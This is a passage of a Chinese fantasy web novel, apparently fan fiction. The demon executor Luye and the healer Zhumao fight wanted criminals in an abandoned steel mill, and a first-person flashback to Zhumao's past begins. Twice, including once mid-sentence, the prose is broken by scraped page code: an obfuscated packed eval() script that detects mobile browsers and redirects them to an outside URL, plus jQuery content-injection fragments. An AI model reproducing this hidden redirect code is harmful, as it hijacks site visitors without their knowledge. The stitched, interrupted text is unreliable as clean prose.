l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225735|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻。 “竹医生的经历挺普通的,据说是从隔壁大陆的一个小地方出来的人,只是因为早年没有师父带着,花了一些时间才找到加入会馆的门路。” “没有师父?”小黑有点惊讶,因为他认识的大部分妖精朋友都有过师父带入门的经历,亦或者有一位可靠前辈帮忙领路一段时间。 ——但是没有领路人的话,阿竹姐会不会也曾经觉得很茫然呢?就好像自己还没遇到师父之前的那段流浪时光。 黄头发的少年妖精点点头:“嗯,所以加入会馆之前的竹医生大概也是一个人在摸索着道路……虽然经常有人觉得她的治疗方案很乱来,但最后总能把病人治好。久而久之,大家都觉得她这人是个有点奇怪但技术水平高超的医生。” 此时师兄甲忽然挠了挠头:“不过我听过关于她的另外一个不知真假的传闻。” 小黑:“是什么?” 甲:“传闻里说她以前搞出过很多次医疗事故,不小心治死了不少病人,才弄得自己早年杀气缠身的。” 猫儿一脸懵逼,反而是乙震惊了。“……真的假的!” 甲摊开双手:“肯定是假的,医疗组怎么可能会雇用一个真正的庸医啊。” “假的你还说?” “都提前说是‘不知真假的传闻’啦。” 说完这个,甲温和地看向眼前的小猫,说道:“竹医生跟你师姐的关系特别好,一起经历过许多事情,是公认的过命之交……所以小黑,别怪竹医生没有选择留下来帮你,她只是更看重跟鹿野大人的情谊罢了。” “阿竹姐当然可以选择她自己要做什么!而且我才不会那么任性呢……”小黑气鼓鼓地走来走去,片刻后,他还是下定决心,“虽然我依旧不觉得师姐是对的,但我现在要去找她!” 甲乙二人对视一眼,达成共识:“嗯,去吧,你要小心,我们能照顾好自己的。” 此时在另外一边,已经追着空气中留下的灵力踪迹的鹿野忽然开口:“阿竹,小黑现在不在旁边,我可以问你几个问题了。” 此时已经因为风大而缩进好友外套底下的小草人慢吞吞地探出一只手,在风中摇摇晃晃地打了个√。 “昨天在流石会馆,你用了【命源】吗?” √ 鹿野低头看了一眼这个符号,毫不意外地问:“现在你的灵质空间里有多少幸存者?” 小草人清点了一下那些仍旧处于“薛定谔生死状态”的幸存者数量,用脑门上的弹幕报了个数字出来。 鹿野看清楚那个数字,脚下差点没站稳,险些直接摔下去。 “这么多!你的灵质空间是旅店吗!”她都有点被震惊了,“而且不是说【命源】的施法限制是一次最多同时针对十人施放吗?” 阿竹:“……” ——那是骗大家的,我不想出外勤时也那么辛苦嘛。 砰! 鹿野跳到了一根电线杆的顶端,停下来,从怀中掏出这只满脸无辜的小草人,颇为生气地斥责道:“竹茂,你的能力数据怎么连我都骗?难道是觉得有朝一日我会出卖背刺你吗!” 天哪,鹿野竟然对阿竹直呼全名,这已经是发火的征兆了。 吓得小草人脑门上的弹幕赶紧刷新出一个【x】表示“我不是那个意思”的意思,同时豆豆眼睁大了几分,无言却又萌萌地看着鹿野,试图萌混过关。 ——emmmm,以前主要是怕说了后被你抓去当外勤牛马嘛。 鹿野气恼又无奈地瞪着这个整天不着调的草包朋友,正如先前她自己所说,她鹿野是妖精的执行者,出生入死地执行各种危险任务,为的不就是让“妖精”这个族群能够顺利延续下去这个最终目的吗? 那自然很多事情要以妖精同胞的生命为第一优先的考虑事项。 倘若说竹茂身上就带着几个幸存者的话,鹿野可能就直接拉着这个朋友去闯荡敌人设下的刀山火海了。 问题在于如今大半个【流石会馆】的“死亡名单”都塞在这位好友的灵质空间里……哪怕是鹿野,也无法因为自己的一己私念而再次断送那么多同胞活下去的机会。 她纠结而痛苦地思考了几秒后,终于做出决断:“我认为,接下来的作战策略要更改一下。” 阿竹神色恭敬,作洗耳恭听状。 鹿野面无表情道:“我负责吸引敌人所有注意力,你只要藏起来,尽量跟随我移动,但绝对不许暴露,也不许参加战斗。倘若我战败甚至要死亡了……” “——你也不可以站出来救我!不然,我以后就再也不认你这个朋友了!!”鹿野语气决绝地说,“听清楚没有?” 小草人呆呆地仰着头看着她,一时间以为鹿野在说笑,但片刻后她还是疯狂地摇头,拒绝这个过于离谱的作战方案。 “……阿竹,听话。”鹿野双手捧着好友,语调不知不觉中变得深沉而温柔,“你肩负的不只是你一人或者我一人的生命,而是那些已经遭遇了濒死痛苦的流石幸存者们。” “他们更重要,远比你和我更重要。” 阿竹看起来都快哭了,但她还是拼命摇头,脑门上的弹幕里连续刷出三个【xxx】的抗拒符号。 见此情景,鹿野索性狠下心来,咬着牙说道:“如果你做不到这个约定的话,我们干脆就在这儿道别吧!我会发消息让小黑晚点过来这个位置接你,至于我要去哪里,你也别多问。” 阿竹:“……” 阿竹:“…………” 小草人用草须小手擦了擦豆豆眼眼角的水光,最后还是艰难地点了一下头。 27.大道如青天 鹿野做好一切准备后,终于找到了那些目标灵力所徘徊的地区。 敌人不再逃跑,说明这就是他们为追兵精心准备的“大餐”。 这是城市边缘的一处废弃钢铁厂地带,它的占地面积如此之大,诸多高炉和炼钢设施林立于此,足以让人想象出在当初那个热血辉煌的年代里,这座工厂曾为新生的共和国迸发出怎样耀眼夺目的光彩。 只可惜随着时间远去,本地矿产资源枯竭,再加上产业转移等一系列多重因素,如今这座缺乏资金来完成旧改的废钢厂地区早已变得锈迹斑斑,杂草丛生,沦为了一些小动物的乐园。 它宛若一具巨大而被人遗忘的城市尸体,沉默地眺望着远处那些繁荣昌盛的钢铁森林。 鹿野无所畏惧地走在这沉寂的锈铁地带中,很快,她就看见了第一个敌人,那是一个瘦高的妖精,扛着一把黑红色大镰刀并出现在一座外表生锈的水塔顶端,然后是第二个,第三个……包括那位穿着橙黄色连体衣的小伙儿皆逆荒也面无表情地出现在前方高架上。 “嗯?” 她注意到这群敌人里多出了几个生面孔,这几人先前并未参与飞机抢劫事件,或者说,也不算特别面生。 “哟,这不是会馆通缉令上的常客吗?”鹿野面带讥讽地开口,“龙炎,祸心,石沉——你们跟这些家伙混在一起是想给我送多点赏金吗?” 作为妖灵总馆感知组的组长,鹿野对全世界各路情报都了如指掌,更何况是明晃晃顶着一堆高额悬赏金的危险分子们。 龙炎沉声道:“今日风大,鹿野组长说话小心闪了舌头!” “我用不着让一个犯罪分子来关心。”鹿野冷笑,“还是多担心下自己吧。” 另外两人则是沉默不语,从站姿和位置来看,三名通缉犯之间隐隐是以龙炎为首。 跟鹿野这种虚假的“会馆临时通缉犯”所不同,龙炎从外表来看是一个满头金红色短发的高大魁梧男妖精。 他的脸和脖子等皮肤处缠着大量白色绷带,穿着一件深色无袖上衣,双臂裸露——手臂处的肌肉以一个相当夸张的形态隆起,一看就非常粗壮有力,属于是去健身房锻炼肯定只练上肢不练腿的那种人。 祸心是一个身材矮小到宛若孩童体型的女性妖精,戴着一副墨镜,周身似乎有白色烟雾环绕。她一言不发地打量站在下方的鹿野,不知道在想什么。 至于石沉则是一个胖墩墩的大胖子,始终眯着双眼。此人虽说是一米八的身高,可目测至少有三百斤的体重,身上穿着外国进口的加加加加大码肥宅衣物(夏国的衣物市场几乎完全不提供这个码数的服饰),呼吸间有沉重的声响从胸膛里传来。 【妖灵会馆】虽然是全世界最大的妖精群体势力,但依旧有一些民间的妖精野性难驯,不愿听从会馆的命令,任由说客们嘴皮子磨穿了人家也不愿意加入会馆。 亦或者是曾经的会馆妖精在犯下大错后不愿意接受审判,选择叛逃——不过后者的存活概率非常低,因为会馆一定会派出源源不断的执行者展开抓捕任务。 可能刚开始是某个路人甲执行者,然后到泽宇这一级的组内中层骨干,再到鹿野这个层级的组长。倘若这时候犯人还是在很顽强的对抗和逃跑,会馆方面就会考虑派出某位长老追捕执法,甚至出动“当代最强执行者”无限去抓人了。 当然了,会馆毕竟不是阿美莉卡这种霸权主义国家,面对那些愿意好好生活、只是不想加入会馆的普通妖精,会馆也愿意与这些同胞保持一个定期联系的友好状态。 比如几年前在“龙游市事件”事发之前的风息和虚淮等一伙野生妖精,虽然他们不想加入会馆,但会馆多年来始终以拉拢和沟通为主,并没有真的动刀动枪去强迫人家干什么。 后来双方打起来,纯粹是因为风息率先违背了会馆的禁令。 这哥们连续伤害数位妖精同胞并且强行剥夺小黑的能力,袭击大量无辜人类……这种破坏两族秩序的行为属于在会馆的雷区进行大蹦迪了。 于是代表会馆势力的无限自愿参战,与尚且年幼的小黑一同联手击败了走投无路的风息。 至于那些散落在世界各地安静生活的非会馆妖精,只要愿意遵守当地法律法规,不残害人类民众与妖精同胞,会馆也不会随随便便就把人给塞进通缉令里。 ——所以可想而知,能长年待在会馆通缉令上的家伙,通常都是手上有两把刷子,并且犯下诸多血腥恶性犯罪事件的带恶人。 如果有人能够把这些通缉犯给当场击毙,会馆那边不仅不会责怪这种“击杀同胞”的行为,甚至还要颁发奖金,见诸报端,以此弘扬正气、震慑不法分子。 此时宛若闲庭信步的皆逆荒脸色凛然,压低声音对着蹲在自己身后的白胡子老头儿鹤天问道:“我们为什么要跟这三个人合作啊?” 虽然做了很多坏事,参与了对一个分会馆同胞的屠杀事件,但皆逆荒等一伙人有自己的信念和坚持,如今让他们与这些妖精中的败类合作,实在是让小伙子浑身难受。 “时间太仓促,请外援也是迫不得已,老大的安排只能做到这一步了。”鹤天老爷子同样非常小声地回答,“不是给鹿野准备的……其实是为了另外一个人。” ——竹茂。 这个名字皆逆荒的心中浮现,他愣了一下:“有这必要吗?” 这三个通缉犯里随便出来一个,都可以把他本人轻松揍成小饼干,现在全部请过来就为了对付一个连人形都维持不了的医生? “狮子搏兔……”鹤天捻须,悠然道,“亦要拼尽全力!” 老者其实可以理解这位年轻同伴的困惑,因为皆逆荒先前在行动中忙着扮演“无限”到处刻意留痕,没什么时间去看关于竹茂本人的卷宗——在自家老大利用工作权限从冰云城那边调取出关于当年审判的卷宗后,几个妖精看完后都觉得……找几个外援也挺好! 外援越强越好。 毕竟一个鹿野都够大家狠狠地喝一壶了,何况再加一个前科累累的竹茂。 要知道在竹茂当年犯下诸多罪行时,她也才五十岁出头……这个年纪在寿命数百岁的妖精群体中完全可以算是“青少年”程度甚至“孩童”而已。 真不敢想现在又过了八十年,这家伙得凶成什么鬼样子。 所以这三个通缉犯作为外援并非是针对鹿野,而是针对那个看起来平平无奇的草木系医生。 ——老大真是算无遗策啊!鹤天钦佩地想着。 此时鹿野口头跟这些人看似随意地互喷,实则飞快地思考起自己掌握的相关情报。 龙炎的能力是【御火系】,能制造出难以被熄灭的高温火焰,祸心则是神秘的【心灵系】,石沉精通【御土系】的石化能力……组合拳啊这是。 鹿野一看就大致明白这个战术体系的运转范畴:石化封禁土地,断绝草木扎根的机会。同时用高温火流燃烧已有的植被,形成炼狱火场。再加上心灵系的精神攻击手段随时发起出其不意的卑鄙偷袭——阿竹,你可躲好了,千万别出来,人家这个组合这一看就是专门冲着你来的。 事到如今,鹿野也只能选择相信那位默默躲藏起来的朋友不要辜负自己的一番苦心和用意了。 于是她仰头看向面色冷酷的皆逆荒,高声冷笑:“皆逆荒!不继续逃了吗?” 皆逆荒是个愚蠢但很硬气的家伙,更何况此刻众多同伴与外援就在身边,他根本就是安全感爆棚到无所畏惧的地步:“每个人都说,要逃出你鹿野的追踪就只有一个办法——那就是杀了你!” “说得没错!” 鹿野大笑着把身上的棕色飞行员外套往地上一甩,露出只穿着黑色紧身背心的精壮上半身,随身金属瞬间凝聚成手中利刃。 这位白发的妖精执行者握住武器,纵身起跳狂奔。她的身影如掠过长空的猛禽,直接冲向皆逆荒的方向,一时间脚下生风:“但至今没人成功过!” 一看这恶人满脸狞笑地冲向自己,简直就跟昨日阴影再现一样,皆逆荒难免有点心头发慌,下意识地往后一跳,躲开鹿野的攻击。 恰好此时,一股高温热流喷涌而来,鹿野脚下的金属支架立刻如同活过来一样,一根根断裂竖起,形成一道简陋但有用的金属墙壁,完全挡住了那股赤红色的高温火流。 几秒钟后,“金属墙壁”融化成铁水滴落在地,鹿野则是持剑怒视这个站在不远处闭目挥拳的敌人:“龙炎,我最后警告你一次——少管闲事!” “拿人钱财,替人消灾。我们这些人就是靠着这条准则才活下来的。”龙炎睁开眼,眼眶里浮现出与头发颜色相同的金红二色,仿佛有炽热的岩浆在体内涌动,“一直听别人说你很强,鹿野组长,不妨今日验证一下吧。” “就凭你们?几个臭鱼烂虾!也不去照照镜子,还敢妄言来验证我的实力?” 鹿野彻底沉下脸来,她大声嘲讽恐吓对方,同时提剑继续对着上前围攻自己的敌人们展开攻击。由于此地是废弃钢铁厂,可能啥都缺,就是不缺各种材质的金属材料。 果不其然,不管是哪个系的能力,在这遍布金属的主场里都不是鹿野的对手。 其实作为任务经验丰富的老牌执行者,鹿野的心头隐隐能感到些许的疑惑和不安,但眼前敌人人数如此之多,又有强者混迹其中,她必须趁着自身尚有余力时尽量解决掉至少一半。 “你们到底在想什么?”鹿野挥剑猛然击退先前那个红色皮肤的肌肉壮汉“大须”,将其打至跪地,差点一剑直接砍断大须的半截身躯,“这儿不是我的主场吗……” 话音未落,她脚下站立的一大片地面骤然碎裂,连带着几个围攻的妖精都一起重重地坠落砸入下方的厂房车间。 冥冥中,有什么东西生效了。 利刃形态的随身金属毫无征兆地崩解开,化作原型的两块金属厚片,“哐啷”两声落在砖瓦碎石的车间地面上。 鹿野低头看了一眼这伴随自己征战多年的武器,面色铁青,心头愈怒。 ——【御金系】的能力,被这片地区突然封禁了。 此时鹿野只感觉双腿一阵不受控制地发麻,眼角余光一扫,一层灰白色的石化物质不知何时已经覆盖在她的靴子表面和小腿部分的裤子上了。 这正是石沉的石化能力,只见这死胖子双目圆睁,伴随着他的目光扫射,异常的能量波动在头部附近荡漾开。 “哼!” 鹿野不敢在此久留,当即以蛮力冲撞开腿部尚未成型的石化结构,想要调查清楚是什么东西禁锢了自己的能力。 恰好此时敌人小队中那位留着绿色长发的女妖精“鳄鱼”挥舞着一对骇人利爪揉身而上,一副要将失去能力和武器的鹿野给活活撕碎的架势——谁知赤手空拳的“临时无能力者”鹿野比鳄鱼还凶狠,一巴掌把人抡进地板,当场砸出一个巨大深坑! “哇,没了能力还这么嚣张?!” 鹤天老头儿大惊失色,愤怒地指责鹿野:“鹿野你完蛋了!我告诉你,这里被我布下了【断金阵】,你的随身金属已经被我废掉了!” 鹿野一听,原来是阵法啊,顿时知晓了问题根源所在。 “找个没金属的地方不就行了嘛?还费这儿劲——” 只见鹿野一边嘲笑这老头儿,一边势大力沉地直接飞起一拳,毫无尊老爱幼精神,当场就把鹤天打出这个车间上方的空洞缺口外头。 默不作声的龙炎此时驾驭足以扭曲周身空气的强大火流,粗壮雄浑的双臂上缠绕着熊熊燃烧的金红烈火,整个人如猛兽般扑向鹿野,口中发出怒号,挥动岩浆铁拳砸去,任何东西都不是他的一拳之敌,声势浩大而恐怖。 如今暂时失去【御金系】能力的鹿野不敢硬抗这火焰攻击,选择躲避退让。因为她知道自己当前最要紧的事情不是跟这些难缠的敌人争斗,而是要尽快破除【断金阵】,恢复正常的战斗能力才是第一要务。 “你懂什么?”鹤天在下一秒空洞边缘探头出来。 虽然他的鼻子因为刚才鹿野那粗暴一拳给打得鲜血横流,但此刻还是满脸怒容。 毕竟这位老爷子感觉自己作为阵法师的辛勤成果居然被敌人彻底鄙视,从而气得破口大骂:“没有金属的地方只有自然界才最为合适——但你以为我们会给那个竹茂这种发挥能力的机会吗?” 啧,此地陷阱的设置果然是考虑到了关于阿竹出手的因素。 ——还好我已经提前禁止她出现了。 鹿野忙着应付龙炎那杀气毕露的火焰铁拳和其他人时不时打出的辅助配合,一时间且战且退,没空回答那死老头子的炫耀言语,却还是竖起耳朵倾听鹤天的发言。 果不其然,这性格有点浮夸废话的老爷子在下一秒说出了有价值的干货信息:“这【断金阵】的布下需要13个高度落差不一的地点,你以为有那么容易就……” “别废话了!快下来帮忙!”皆逆荒受不了了,抬头大吼,制止老头儿的废话连篇。 鹤天瞬间好脾气:“哦,好的。” 砰! 已经完全掌握基本信息的鹿野整个人如离弦之箭那样双脚一蹬地,直接冲出了这个荒废车间,其他敌人见状当即想也不想地追击出去。 一时间,这个满目狼藉的废弃车间空无一人,没有任何妖精驻守。 过了几秒后,地砖的裂缝里陡然伸出两根柔软的绿草,仿佛是两只手一样轻易将地上的随身金属片一卷,迅速拖进地底消失不见。 此时的鹿野飞驰在半空中,当即以拳抵额,闭目凝神,张开【生灵系·追毫】的能力,将这片天地间所有异常之处全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235460|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部洞察得一清二楚。 眨眼间,她脑海里的工厂区地图里就标注出了【断金阵】的十三处“阵眼”。 此后鹿野不再犹豫,也不再与那些敌人相互纠缠,大步流星地冲向最近的第一个阵眼方向。 “不好!她要去破阵!”鹤天一看就明白这会馆超人想干什么,也许这就是阵法师的自觉吧,“快阻止她!” 众人当即各显神通,施展诸多手段尝试干扰,无奈鹿野就跟开了氮气加速的赛车一样,最大速度下简直跑得几乎看不清背影。 龙炎咬牙,看向自己身后的两个同伴……是的,他就没觉得皆逆荒、鹤天他们算是自己的同伴,顶多算是给钱爽快的甲方客户。 “石沉,我来助你!祸心,用那招!” 两人一并点头,只见跑得气喘吁吁的眯眼胖子再次睁眼,石化能力浮现而出,针对的却是——宛若孩童一般体形的祸心。 下一刻,毫无反抗的女妖精浑身外表都被石化,但是龙炎抓住这“石化祸心”的腿,将其对准第一个阵眼方向用力一甩! 轰隆! “石化祸心”的背后石质外壳上喷出了大股金红色的火焰,简直是堪比火箭助推的场面,直接从正在追击的鹤天他们头顶以超高速飞了过去。 地面上的皆逆荒看得目瞪口呆,这就是会馆常年通缉的罪犯杀手吗?居然毫不犹豫地对同伴下手,太狠心了吧! 锵! 发力狂奔的鹿野拔掉了第一个钉住蓝色阵眼的生锈铁钉,当她伸手拔钉的瞬间,速度难免放缓了一瞬间。 但就是这么一眨眼的工夫,她只感觉一个灰蒙蒙的东西从自己眼前直接飞过去。 啥玩意儿? 哪怕是准备立刻冲向第二个阵眼的鹿野都有点懵。 但是更令人震惊的是,尚未落地的“石化祸心”腰部以上的石质外壳陡然间崩解,露出里头那位面带奇怪笑容的女妖精。 “呼!” 她在两人擦肩而过的一瞬间,轻轻对着鹿野吹了一口自己身上缠绕的白色雾气。 鹿野第一反应便是屏住呼吸,双目紧闭,依靠记忆中的方向暴起直退,试图避开这效果不明的白色雾气。 “晚了。”她听见祸心那矫揉造作的女娃娃音在自己耳朵里响起来,“哪怕是皮肤沾到我的一丝雾气,你就逃不掉了。” 既然逃不掉,那就不逃了呗。 鹿野心下一横,依旧封闭住自己周身的呼吸换气,听风辨音,打算直接冲过去活活打死祸心之际,她却听见有一个苍老疲惫的声音在自己背后响起。 “鹿野……鹿野!!” 鹿野没办法抗拒这个声音,就好像她没办法完全抵挡住人生中曾经遭遇的那些痛苦一样。 她下意识地一拳挥出,先是将祸心足足打进墙壁里深达半截身子,随后才睁开眼,神色有点仓皇地向身后看去。 理智在叫嚣着这一切都是虚假的,偏偏燃烧的情感几乎不受控制。 想着就看一眼。 一眼就够! 因为……那是她师父的声音。 不是无限。 而是死在故乡的,死在百年之前战火里的那个老人,鹿野人生中第一位引路者。 ——这就是祸心的能力,神秘的心灵系向来精通如何操纵与玩弄他人的情感与心灵,这是此人的拿手好戏。 但迎面而来的并非是什么穿着长衫的老者,而是工厂柱子后方龙炎那鼓起胸膛后所用力喷出的超过数千度高温的金色火焰吐息! 这高温火龙喷吐的威力连其他敌人都不敢靠近半步! 一时间鹿野怒目圆睁,她知道自己中计了,也知道这一切都是在敌人的计算之中。 但是直到危险降临前的最后一刻,她依旧没有转身逃跑或者放弃抵抗,而是抬起双臂交叉挡在自己面前,试图用血肉之躯挡住这杀招—— 金色的火焰骤然四散,难以想象的高温剧烈扭曲空气,令这个工厂空间的温度急剧上升。 但是,那些足以将一个妖精连同灵质都活活烧成灰烬的凶猛火焰却连火星子没有碰到鹿野。 “……啊。” 鹿野沉重地吐出一口浊气,汗水从她的额头、脸颊上滑落,她的眼睛看见了黑色的袍子衣角。 她抬起了头,看见不知何时出现在自己面前的竹茂。 ——不再是以傻乎乎的小草人形态,而是以完整的人形。 竹茂手持一杆散发着惊人能量波动的青绿色木枪,枪尖指着前方喷吐不断的金色火焰,无数草木自她脚下生长而出,扑向前方,如飞蛾扑火那样生成了不断被烧焦却又急速再生的厚实障壁。 “嗨。” 阿竹没有回头,就打了声招呼。她穿着一身鹿野从未见过的黑色劲装长袍打扮,类似于古代的侠客夜行衣,上半身却还套着一件类似防弹衣的现代护甲。 这人简直是酷得要死。 但是鹿野还是勃然大怒,甚至顾不上自己的安危,对她怒斥道:“我不是让你绝对不要出来吗?你难道忘了自己肩负着什么吗!” “我没忘。”竹茂略微回过头来看向这位好友,鹿野的呼吸忽然有点停滞。 因为此时的阿只有半张脸具备人形,剩下的面部部分则是戴上了半张看起来颇为扭曲危险的独角山鬼木质面具,正在缓缓蠕动的草木面具看着类似某种非人的血肉,仿佛是在说明还没完全恢复全部力量的阿竹根本无法长时间维持人形状态。 “但他们和我本人,加起来,对我而言,都没有你一个人重要。” 每个生命本该是平等的。 竹茂当然知晓这个最基本的道理,她是个医生,行医多年也面临过无数次电车难题。 当能杀一人救百人时,你救不救?你拉不拉那根改变轨道的杆子? 但对于如今的竹茂而言,不管拉不拉那根杆子,她就是想要救下那一个人。 为此不管死多少人,甚至是把自己的命都搭进去,她的眼睛都不会眨一下。 “原谅我吧,鹿野……这就是我最大的私心。” 疯子!阿竹你这疯子! 你居然敢把我的性命置于那么多人之上!! 鹿野简直说不出话来,一时间满口银牙咬得咔咔作响,几乎是睚眦欲裂。 她背过身去,拔腿继续冲向前方窗户缺口,她要去尽快拔除剩下的阵眼。 身为多年好友,这点相互掩护行动的默契还是有的,根本就不用说。 “竹茂,你违背了我们的约定!”鹿野走前扔下最后冷冷的一句。 依旧在用长枪指挥着草木阻挡敌人的竹茂同样没有回头,而是高声回答,语气里透着浓烈的癫狂和悲伤: “纵使今后你我二人形同陌路,我也要让你今天能活下来!” 28.一些往事 阅前提示: 接下来切换回第一人称视角啦。 ………… …… … 我想起来了。 全都,想起来了。 小桥流水的美好故乡,战火纷飞的逃难岁月,死在我面前的家人们,以及之后长达三十年之久的千里转战,被会馆方面擒获后所接受的审判和处罚,就此被封印住大部分力量,洗刷重置所有记忆……最后,以当前的身份重新活下去,尝试着去走一条过往不曾接触过的道路。 那条名为行医救人的道路。 如今回首望去这百年之路,才惊觉我这一辈子并非庸庸碌碌。到头来,我确实是毁灭了一些人,也拯救了一些人。 “但是呢,那句话怎么说来着……”我握住长枪的手往前一震,将那些不肯轻易熄灭的金色火焰抖落散开。 非相非非相,无明无无明。 黑与白,错与对,正确与否的边界又是真的那么清晰吗? 我抽空回头看了一眼,发现原本塞着祸心的那面墙壁只残余了半个深坑,祸心本人倒是不知道躲哪儿去了。 真麻烦,刚才要不是为了帮鹿野挡眼前的致命高温火焰吐息,我肯定第一个优先要杀的就是那肆意玩弄人心和记忆的混蛋! 一时间,这些高温金色火焰没有再继续喷洒了,而我面前覆盖着厚实草木灰和焦炭的“墙体”裂开,我看见了站在不远处的那群敌人。 我甚至听见龙炎在有些愤怒地质问鹤天:“既然已经布下了【断金阵】,为什么不再布下【绝木阵】?” “你这门外汉!”老头儿同样很生气,喋喋不休起来,“一个地区能布置这么一个主阵就不错了!五行之中,‘木’本来就被‘金’所克,哪里还能共存两个同样级别的主阵?中药吃过吗你!‘君臣佐使’这个说法听过吗?【断金阵】就是那‘君主’的地位,顶多再布置几个别的辅助阵法……” 阵法门外汉被鹤天喷得目露凶光,但好歹看在是甲方的面子上,这带恶人好歹没有直接一拳砸在话痨老头儿脸上。 “鹤老别吵了!”绿头发的女妖鳄鱼已经是这群人中倒数第二个跑开的,“按照计划,兵分两路!鹿野那边已经去继续破阵了!” 见到他们果然想要做出兵分两路的姿态,我大笑着拖拽着枪尖冲出来,决定给这帮家伙制造点障碍。 随着心念一动,无数深绿的杂草直接破土而出,它们在一瞬间长得比整栋厂房还要高大茂密,在半空中纠结缠绕在一起,愣是挡住了皆逆荒等人的去路。 既然是鹿野想要做的事情,我身为队友自然是要无条件地帮她。 至于她生不生气,事后要不要跟我绝交,那是打完眼前的战斗后我才需要考虑的事情。 而且事情就算到了最糟糕的那一步,鹿野也不可能杀我这个同属会馆势力的妖精,顶多是真的跟我绝交而已嘛! 哈哈哈哈哈哈哈哈哈! 我根本就没在怕!就算没了她的人生,也不会怎样糟糕到底…… 毕竟我这样勇猛精进的前超级变态杀手,才不会因为被区区一个朋友给断绝关系就半夜躲在被子里偷偷掉眼泪! 不可能哭的!! ……所以能不能别绝交啊:( 想到这里,我忍不住委屈地吸了一下鼻子。 “竹茂——” 出乎我预料的是,发出第一声怒吼的不是被暂时拦住去路的皆逆荒、鬼镰这伙人,反而是如同祝融降世一般周身燃烧着熊熊烈火扑向我的龙炎。 嗯? 这通缉犯格外愤怒的表情就好像我某天走在路上不小心杀了他老婆一样。 你们不是拿钱办事的而已嘛,有必要那么激动地做工作吗? 可惜龙炎理解不了我这人与生俱来的出色幽默感,依旧怒吼着扑过来,只见火焰铁拳挥舞如风,每一击都伴随着爆裂之声。 我举枪去挡,金红色的火焰一下子在木质的枪杆上蔓延开,但没等龙炎高兴太久,这柄看似平平无奇的翠绿木枪枪身上自动生长出大片绿草,以飞蛾扑火的无畏姿态,付出些许烧焦草木灰的代价后将那如同火焰给扑灭。 龙炎的表情颇为凝重:“法宝……登记在冰云城限制武器目录里的‘离原枪’?” 嘿,有点眼力劲儿。 不愧是背着通缉令多年的妖精,一眼就认出我手中的武器并非凡品。 我手中的这杆“离原枪”看起来就好像随便折了一段木头来打磨做成的玩意儿,但倘若凑近看,便能看见枪杆上宛若脊椎骨一般严丝合缝的细密纹路与不断流转的翠绿微光。 嗯,我当年比较神经病,不小心把自己的脊椎骨练成了武器型的法宝,此后就扛着它一路杀进邪桑台首都去了。 也可能并非不小心。 现在想想,没人教,没人带着,自己一个人瞎整那么多花活儿都没死成,多亏了我的能力【命源】是个超强续航的奶妈神技,不然我早就坟头草三丈高了! 轰隆! 此时我背后那些遮天蔽日的拦路草木不知何时被尽数石化,化作一面面急速坍塌的灰白色石山,朝我和龙炎所在的方向重重碾压下来。 我纵身跳起躲开这些石化植被碎片的碾压,落在了工厂上方的天台边缘,而龙炎和大腹便便的石沉也赫然出现在不远处的一座高炉顶端。 虽然皆逆荒他们借助石沉的“石化”能力令那些挡路碍事的草木失去了原本的作用,从而继续追击阻拦鹿野那边,但我非常相信这位好友一定能搞定这些小麻烦。 哪怕是暂时失去了【御金系】能力,大须、鬼镰这些臭鱼烂虾的战斗力全部加在一起还不够鹿野塞牙缝的。 顶多算是开胃菜的程度。 ——以前我没少因为各种贩剑事件而被鹿野揍过,此人的拳头有多重多狠,我门儿清! “……你在走神?”龙炎突然看出了点端倪,阴沉沉的脸上一时间变得有些幸灾乐祸起来,“担心你那个朋友?有空还是多考虑考虑自己的处境吧,竹茂!” 我顿时笑了:“嗯,在战场上走神确实是不应该,但我并没有担心她,我只是在想你为什么那么生气。” 龙炎皱了皱眉头,语气迟疑:“你……你不认得我?” 此言一出,就连石沉也忍不住回头看了一眼自己的这位队友。 我:“?” 我惊了:“我该认识你吗?你谁啊。” 龙炎被我气得直咬牙,但还是强忍怒气地提醒我:“八十多年前,你摧毁了‘御国众’,对吧?” 我的眼睛微微睁大了一点,鼻子努力地嗅了嗅周遭的空气。 果然,这人身上有一点点让我感到熟悉的臭味。 大概是太久没砍这些家伙了,如今嗅觉都迟钝不少。 “御国众”是一个指代特定群体的历史名词,它曾经是形容一个妖精团体结社的具体名词,然后——我把它变成了“历史名词”。 岛国邪桑台自古以来便是一个妖精和人类混居的地方,在数千年前,一些无法在大陆地区生活的妖精会躲藏到邪桑台去隐居,以此躲避仇家或者寻求清净。 但它们很快发现,隐居有什么用?不好玩,操控人类才好玩! 这些妖精就此出入人类群体之中,肆意操控玩弄岛国的朝代和国家变更,以此保证自己在这片土地的至高权力和顶端地位。 这些本该避世匿名的妖精们在邪桑台的历史上留下了种种名为“怪谈”的地方特色故事,其间光怪陆离、毫无人性的恐怖事件实在是屡见不鲜。 久而久之,这个邪桑台妖精群体的特殊结社“御国众”成立时间甚至比“妖灵会馆”的成立还要早个七八百年。 会馆成立后逐步做大做强,花了数百年时间便一跃成为全世界最强大的妖精势力。 在外交合作方面,会馆也曾经跟邪桑台的“御国众”多次沟通协调,希望双方能携手进步,增进合作事宜,将分会馆开到岛国本土上……但是“御国众”妖精们总是拒绝此类合作。 它们生性冷酷自私,长年彼此勾心斗角,总是以小人之心看待外界的一切,生怕自家的一亩三分地就此被会馆所染指。 更重要的是,“御国众”害怕自己这个地方团体会被会馆所同化、肢解。 时间一久,会馆也不喜欢总是用热脸贴“御国众”的冷屁股,不再谈什么深化合作主题,只是跟这群岛国妖精群体保持着最基本的联络通讯方式而已。 ——直到有一天,会馆方面接到了“御国众”最后一名妖精的求救讯息。 有人袭击了他们。 一个一个,从各自的老巢里揪出来,以各种残忍恐怖的手段杀死了“御国众”的成员们。 就好像它们生前曾经对待底下的凡人和弱小妖精所做的那样。 会馆在赶过来调查以后,派出了一位格外强大的执行者针对那名犯下杀戮血罪的犯人展开追捕。 